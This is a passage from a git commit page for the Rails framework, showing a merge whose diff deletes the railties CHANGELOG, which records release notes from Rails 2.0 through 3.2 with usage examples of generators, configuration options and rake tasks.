diff options
author | Olli Jokinen <olli.jokinen@enemy.fi> | 2011-12-01 15:32:59 +0200 |
---|---|---|
committer | Olli Jokinen <olli.jokinen@enemy.fi> | 2011-12-01 15:32:59 +0200 |
commit | b4e1903d23a760028d58bc3bb20a1d491bfd4a4b (patch) | |
tree | a40bdce1bd4800124ab6eaed2a6be017bf9cfd3d /railties | |
parent | fae9ad9c712decef70b379f5aa1faa0149902831 (diff) | |
parent | 1e51cd957e3c90f4be35f1f0c4c380d8f7d40d66 (diff) | |
download | rails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.tar.gz rails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.tar.bz2 rails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.zip |
Merge remote-tracking branch 'upstream/master'
Diffstat (limited to 'railties')
224 files changed, 8787 insertions, 4145 deletions
diff --git a/railties/CHANGELOG b/railties/CHANGELOG deleted file mode 100644 index a9b4deb551..0000000000 --- a/railties/CHANGELOG +++ /dev/null @@ -1,2352 +0,0 @@ -*Rails 3.2.0 (unreleased)* - -* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim] - -* Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran] - -* Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran] - -*Rails 3.1.0 (unreleased)* - -* Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim] - -* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] [José Valim] - -* The new rake task assets:clean removes precompiled assets. [fxn] - -* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn] - -* Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav] - -* Template generation for jdbcpostgresql #jruby [Vishnu Atrai] - -* Template generation for jdbcmysql and jdbcsqlite3 #jruby [Arun Agrawal] - -* The -j option of the application generator accepts an arbitrary string. If passed "foo", -the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest -requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails" -exist and provide those files via the asset pipeline. Default is "jquery". [fxn] - -* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. [fxn] - -* Prototype and Scriptaculous are no longer vendored, they are provided from now on -by the prototype-rails gem. [fxn] - -* The scaffold controller will now produce SCSS file if Sass is available [Prem Sichanugrist] - -* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. [DHH] - -* jQuery is the new default JavaScript library. [fxn] - -* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 [Prem Sichanugrist] - - So instead of creating something like: - - redirect_to users_path, :notice => "User has been created" - - it will now be like this: - - redirect_to users_path, notice: "User has been created" - - You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9 - -* Changed scaffold_controller generator to create format block for JSON instead of XML [Prem Sichanugrist] - -* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) [DHH] - -* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console [DHH] - -* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol [DHH, Prem Sichanugrist, and Josh Peek] - -* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing [Piotr Sarnacki] - -* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. [siong1987] - -* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack [José Valim] - -* Added Rack::Cache to the default middleware stack [Yehuda Katz and Carl Lerche] - -* Engine is now rack application [Piotr Sarnacki] - -* Added middleware stack to Engine [Piotr Sarnacki] - -* Engine can now load plugins [Piotr Sarnacki] - -* Engine can load its own environment file [Piotr Sarnacki] - -* Added helpers to call engines' route helpers from application and vice versa [Piotr Sarnacki] - -* Task for copying plugins' and engines' migrations to application's db/migrate directory [Piotr Sarnacki] - -* Changed ActionDispatch::Static to allow handling multiple directories [Piotr Sarnacki] - -* Added isolate_namespace() method to Engine, which sets Engine as isolated [Piotr Sarnacki] - -* Include all helpers from plugins and shared engines in application [Piotr Sarnacki] - - -*Rails 3.0.7 (April 18, 2011)* - -*No changes. - - -*Rails 3.0.6 (April 5, 2011) - -* No changes. - - -*Rails 3.0.5 (February 26, 2011)* - -* No changes. - - -*Rails 3.0.4 (February 8, 2011)* - -* No changes. - - -*Rails 3.0.3 (November 16, 2010)* - -* No changes. - - -*Rails 3.0.2 (November 15, 2010)* - -* No changes. - - -*Rails 3.0.1 (October 15, 2010)* - -* No Changes, just a version bump. - - -*Rails 3.0.0 (August 29, 2010)* - -* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. [fxn] - -* Added console to Rails::Railtie as a hook called just after console starts. [José Valim] - -* Rails no longer autoload code in lib for application. You need to explicitly require it. [José Valim] - -* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber [José Valim] - -* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. [fxn] - -* Abort generation/booting on Ruby 1.9.1. [fxn] - -* Made the rails command work even when you're in a subdirectory [Chad Fowler] - -* Removed Rails Metal [Yehuda Katz, José Valim]. - -* Renamed config.cookie_secret to config.secret_token and pass it as env key. [José Valim] - -* Session store configuration has changed [Yehuda Katz, Carl Lerche] - - config.session_store :cookie_store, {:key => "..."} - config.cookie_secret = "fdsfhisdghfidugnfdlg" - -* railtie_name and engine_name are deprecated. You can now add any object to - the configuration object: config.your_plugin = {} [José Valim] - -* Added config.generators.templates to provide alternative paths for the generators - to look for templates [José Valim] - -* Added "rake about" as a replacement for script/about [DHH] - -* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example: - - ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string - - Run rails --help inside an app for more help. - -* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it [DHH] - -* Set config.time_zone to UTC by default [DHH] - -* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) [DHH] - -* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples: - - cookies.permanent[:prefers_open_id] = true - # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT - - cookies.signed[:discount] = 45 - # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/ - - cookies.signed[:discount] - # => 45 (if the cookie was changed, you'll get a InvalidSignature exception) - - cookies.permanent.signed[:remember_me] = current_user.id - # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT - - ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications). - -* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed [DHH] - -* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs [DHH] - -* I18n support for plugins. #2325 [Antonio Tapiador, Sven Fuchs] - -* Ruby 1.9: use UTF-8 for default internal and external encodings. [Jeremy Kemper] - -* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) [DHH] - - -*2.3.2 [Final] (March 15, 2009)* - -* Remove outdated script/plugin options [Pratik Naik] - -* Allow metal to live in plugins #2045 [Matthew Rudy] - -* Added metal [Josh Peek] - -* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik] - - To continue using script/performance/request, install the request_profiler plugin : - - script/plugin install git://github.com/rails/request_profiler.git - -* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik] - -* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally] - - This has been extracted from rg - http://github.com/jeremymcanally/rg - - Example: - - # template.rb - - # Install plugins from git or svn - plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git" - plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/" - - # Add gems to environment.rb - gem "jeremymcanally-context" - gem "bluecloth" - - # Vendor file. Data in a string or... - vendor("borrowed.rb", <<CODE - def helpful_method - do_something_helpful_here - end - CODE - - # ...file data from block return value. - # #initializer creates a new initializer file - initializer("crypto.rb") do - salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}" - - "SPECIAL_SALT = '#{salt}'" - end - - Usage: - - To use a template, provide a file path or URL: - - 1. Using a local file : - - rails <application name> -m /path/to/my/template.rb - - 2. Or directly from a URL : - - rails <application name> --template=http://gist.github.com/31208.txt - -* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts [David Heinemeier Hansson] - -* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 [Damian Janowski/?] - -* Added view path support for engines [David Heinemeier Hansson] - -* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) [David Heinemeier Hansson] - -* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) [David Heinemeier Hansson] - -* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! [Jeremy Kemper] - -* Add a rake task to generate dispatchers : rake rails:generate_dispatchers [Pratik Naik] - -* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. [Yaroslav Markin, Pratik Naik] - -* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 [kastner] - -* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) [David Heinemeier Hansson] - -* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. [Jeremy Kemper] - -* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [David Heinemeier Hansson] - -* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version [David Heinemeier Hansson] - - -*2.2.1 [RC2] (November 14th, 2008)* - -* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer] - -* Update Prototype to 1.6.0.3 [sam] - - -*2.2.0 [RC1] (October 24th, 2008)* - -* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano] - -* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader [Josh Peek] - -* Turn cache_classes on by default [Josh Peek] - -* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers [Josh Peek] - -* Introduce simple internationalization support. [Ruby i18n team] - -* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example: - - script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch - script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4' - -* Added Rails.initialized? flag [Josh Peek] - -* Make rake test:uncommitted work with Git. [Tim Pope] - -* Added Thin support to script/server. #488 [Bob Klosinski] - -* Fix script/about in production mode. #370 [Cheah Chu Yeow, Xavier Noria, David Krmpotic] - -* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen. - -* Fix discrepancies with loading rails/init.rb from gems. - -* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) [Jacek Becela] - -* Changed all generated tests to use the test/do declaration style [David Heinemeier Hansson] - -* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [David Heinemeier Hansson] - -* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved] - - -*2.1.0 (May 31st, 2008)* - -* script/dbconsole fires up the command-line database client. #102 [Steve Purcell] - -* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) [#122 state:resolved] - -* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) [#88] - -* Rails Edge info returns the latest git commit hash [Francesc Esplugas] - -* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [Nick Sieger] - -* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing] - -* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [Rick Olson] - -* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Jonathan del Strother] - -* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar] - - rake gems:unpack # unpacks all gems - rake gems:unpack GEM=mygem # unpacks only the gem 'mygem' - - rake gems:build # builds all unpacked gems - rake gems:build GEM=mygem # builds only the gem 'mygem' - -* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb [Rick Olson] - -* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [Pratik Naik] - -* Allow files in plugins to be reloaded like the rest of the application. [Rick Olson] - - Enables or disables plugin reloading. - - config.reload_plugins = true - - You can get around this setting per plugin. - If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable: - - Dependencies.load_once_paths.delete lib_path - - If #reload_plugins? == true, add this to your plugin's init.rb to only load it once: - - Dependencies.load_once_paths << lib_path - -* Small tweak to allow plugins to specify gem dependencies. [Rick Olson] - - # OLD open_id_authentication plugin init.rb - require 'yadis' - require 'openid' - ActionController::Base.send :include, OpenIdAuthentication - - # NEW - config.gem "ruby-openid", :lib => "openid", :version => "1.1.4" - config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4" - - config.after_initialize do - ActionController::Base.send :include, OpenIdAuthentication - end - -* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [Rick Olson] - - Rails::Initializer.run do |config| - config.gem "bj" - config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net" - config.gem "aws-s3", :lib => "aws/s3" - end - - # List required gems. - rake gems - - # Install all required gems: - rake gems:install - - # Unpack specified gem to vendor/gems/gem_name-x.x.x - rake gems:unpack GEM=bj - -* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [David Heinemeier Hansson] - -* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing] - -* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing] - -* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [David Heinemeier Hansson] - -* Added that gems can now be plugins if they include rails/init.rb #11444 [John Barnette] - -* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [James Adam] - - plugin = Rails::Plugin.new(path_to_my_plugin) - plugin.about["author"] # => "James Adam" - plugin.about["url"] # => "http://interblah.net" - -* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert] - -* Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing] - -* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option [Geoff Buesing] - -* Add config.time_zone for configuring the default Time.zone value. #10982 [Geoff Buesing] - -* Added support for installing plugins hosted at git repositories #11294 [Jack Danger Canty] - -* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv] - -* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 [matt] - -* Added a -e/--export to script/plugin install, uses svn export. #10847 [jon@blankpad.net)] - -* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 [Rick Olson] - -* Git support for script/generate. #10690 [ssoroka] - -* Update scaffold to use labels instead of bold tags. Closes #10757 [zach-inglis-lt3] - -* Resurrect WordNet synonym lookups. #10710 [tom./, matt] - -* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [David Heinemeier Hansson] - -* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff] - -* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 [Cheah Chu Yeow, mrichman] - -* Introduce native mongrel handler and push mutex into dispatcher. [Jeremy Kemper] - -* Ruby 1.9 compatibility. #1689, #10546 [Cheah Chu Yeow, frederico] - - -*2.0.2* (December 16th, 2007) - -* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [David Heinemeier Hansson] - -* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [David Heinemeier Hansson] - -* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans] - -* Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat] - -* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone] - -* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 [matt] - -* RAILS_GEM_VERSION may be double-quoted also. #10443 [James Cox] - -* Update rails:freeze:gems to work with RubyGems 0.9.5. [Jeremy Kemper] - - -*2.0.1* (December 7th, 2007) - -* Fixed Active Record bug - - -*2.0.0* (December 6th, 2007) - -* The test task stops with a warning if you have pending migrations. #10377 [Josh Knowles] - -* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [Thijs van der Vossen] - -* Update Prototype to 1.6.0.1. [sam] - -* Update script.aculo.us to 1.8.0.1. [madrobby] - -* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [John Barnette] - -* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [John Barnette] - -* Update to Prototype -r8232. [sam] - -* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 [Hongli Lai (Phusion)] - -* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 [Chad Woolley, Cheah Chu Yeow] - -* Load config/preinitializer.rb, if present, before loading the environment. #9943 [Chad Woolley] - -* FastCGI handler ignores unsupported signals like USR2 on Windows. [Grzegorz Derebecki] - -* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 [defunkt] - -* Fixed that db:reset would use migrations instead of loading db/schema.rb [David Heinemeier Hansson] - -* Ensure the plugin loader only loads plugins once. Closes #10102 [haruki_zaemon] - -* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 [James Adam] - -* Added --skip-timestamps to generators that produce models #10036 [Tim Pope] - -* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. [sam, madrobby] - -* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) [Jeffrey Allan Hardy] - -* Fix typo in test_helper. Closes #9925 [viktor tron] - -* Request profiler. [Jeremy Kemper] - -* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 [alexch, thewoolleyman] - -* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [Jeremy McAnally] - -* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. [sam, madrobby] - -* Generated fixtures use the actual primary key instead of id. #4343 [Frederick Ros, Tarmo Tänav] - -* Extend the console +helper+ method to allow you to include custom helpers. e.g: - >> helper :posts - >> helper.some_method_from_posts_helper(Post.find(1)) - -* db:create works with remote databases whereas db:create:all only creates -databases on localhost. #9753 [Trevor Wennblom] - -* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [David Heinemeier Hansson] - -* Add --prefix option to script/server when using mongrel. [dacat] - - -*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.1.4 - 1.2.3] - -* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan] - -* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick Olson] - -* Moved Dispatcher to ActionController::Dispatcher. [Jeremy Kemper] - -* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).) - -* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [David Heinemeier Hansson] - -* Added --skip-fixture option to script/generate model #6862 [sandofsky] - -* Print Rails version when starting console #7440 [eyematz] - -* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit] - -* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob Skjerning] - -* Added VERBOSE option to rake db:migrate to turn off output #8204 [John Barnette] - -* Fixed that rake doc:app should use UTF-8 #8906 [farzy] - -* Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg] - -* Removed web_service generator [Michael Koziarski] - -* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example: - - # Loads :classic_pagination before all the other plugins - config.plugins = [ :classic_pagination, :all ] - -* Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom] - -* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [David Heinemeier Hansson] - -* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 [Zach Dennis] - -* Added db:drop:all to drop all databases declared in config/database.yml [David Heinemeier Hansson] - -* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 [Pratik Naik] - - For example: - - ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string - - or - - ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string - -* Add ActiveResource to Rails::Info. Closes #8741 [Chris Kampmeier] - -* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 [wselman] - -* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 [Ryan Davis] - -* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 [evan] - -* Added rake routes for listing all the defined routes in the system. #8795 [Josh Peek] - -* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 [matt] - -* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 [Dr Nic, topfunky] - -* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 [matt] - -* Added db:version to get the current schema number [via Err The Blog] - -* Added --skip-migration option to scaffold and resource generators #8656 [Michael Glaesemann] - -* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 [Sebastian Kanthak, Josh Peek] - -* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. [Rick Olson] - -* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 [mtitorenko] - -* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 [Manfred Stienstra, mmmultiworks] - -* Sexy migrations for the session_migration generator. #8561 [Vladislav] - -* Console reload! runs to_prepare callbacks also. #8393 [f.svehla] - -* Generated migrations include timestamps by default. #8501 [Shane Vitarana] - -* Drop Action Web Service from rails:freeze:edge. [Jeremy Kemper] - -* Add db:create, drop, reset, charset, and collation tasks. #8448 [matt] - -* Scaffold generator depends on model generator instead of duplicating it. #7222 [bscofield] - -* Scaffold generator tests. #8443 [pelle] - -* Generated scaffold functional tests use assert_difference. #8421 [Norbert Crombach] - -* Update to Prototype 1.5.1. [Sam Stephenson] - -* Update to script.aculo.us 1.7.1_beta3. [Thomas Fuchs] - -* Generators use *.html.erb view template naming. #8278 [Tim Pope] - -* Updated resource_scaffold and model generators to use short-hand style migrations [David Heinemeier Hansson] - -* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar] - -* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson] - - To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger' - (instead of 'breakpoint') where you want to jump into the debugger. - - BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb: - - config.breakpoint_server = true - - This configuration option is no longer available. Rails will fail to start in development mode as long as - that's still present. - -* Resource scaffolding returns the created entity.to_xml. [Jeremy Kemper] - -* Resource scaffolding responds to new.xml. #8185 [Eric Mill] - -* Include Active Resource in rails:freeze:edge rake task. [Thomas Fuchs] - -* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb: - - config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib ) - - ...or just gem 'actionwebservice' - -* Give generate scaffold a more descriptive database message. Closes #7316 [Jeremy McAnally] - -* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 [Jeremy Kemper, trevor] - -* Deprecation: remove components from controller paths. [Jeremy Kemper] - -* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. [Nicholas Seckar] - -* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess] - -* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. [Marcel Molina Jr.] - -* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. [Marcel Molina Jr.] - -* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [David Heinemeier Hansson] - -* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo. - -* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [David Heinemeier Hansson] - -* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [David Heinemeier Hansson] - -* For new apps, generate a random secret for the cookie-based session store. [Jeremy Kemper] - -* Stop swallowing errors during rake test [Michael Koziarski] - -* Update Rails Initializer to use ActionController::Base#view_paths [Rick Olson] - -* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler] - -* Plugins may be symlinked in vendor/plugins. #4245 [brandon, progrium@gmail.com] - -* Resource generator depends on the model generator rather than duplicating it. #7269 [bscofield] - -* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. [bscofield] - -* Update to script.aculo.us 1.7.0. [Thomas Fuchs] - -* Update to Prototype 1.5.0. [Sam Stephenson] - -* Generator: use destination path for diff tempfiles. #7015 [alfeld] - -* Fixed that webrick would strip leading newlines and hang connection #4156 [psross] - -* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson] - If you really want your plugins to reload, add this to the very top of init.rb: - - Dependencies.load_once_paths.delete(lib_path) - -* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Michael Koziarski, Nicholas Seckar] - -* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish] - -* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson] - -* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam] - -* Don't generate a components directory in new Rails apps. [Jeremy Kemper] - -* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson] - -* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [David Heinemeier Hansson] - -* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson] - -* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar] - -* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson] - -* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson] - -* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs] - -* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson] - -* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs] - -* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke] - -* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish] - -* Update to Prototype 1.5.0_rc2. [Sam Stephenson] - -* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck] - -* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper] - -* Alter prior change to use require_dependency instead of require_or_load. Causes 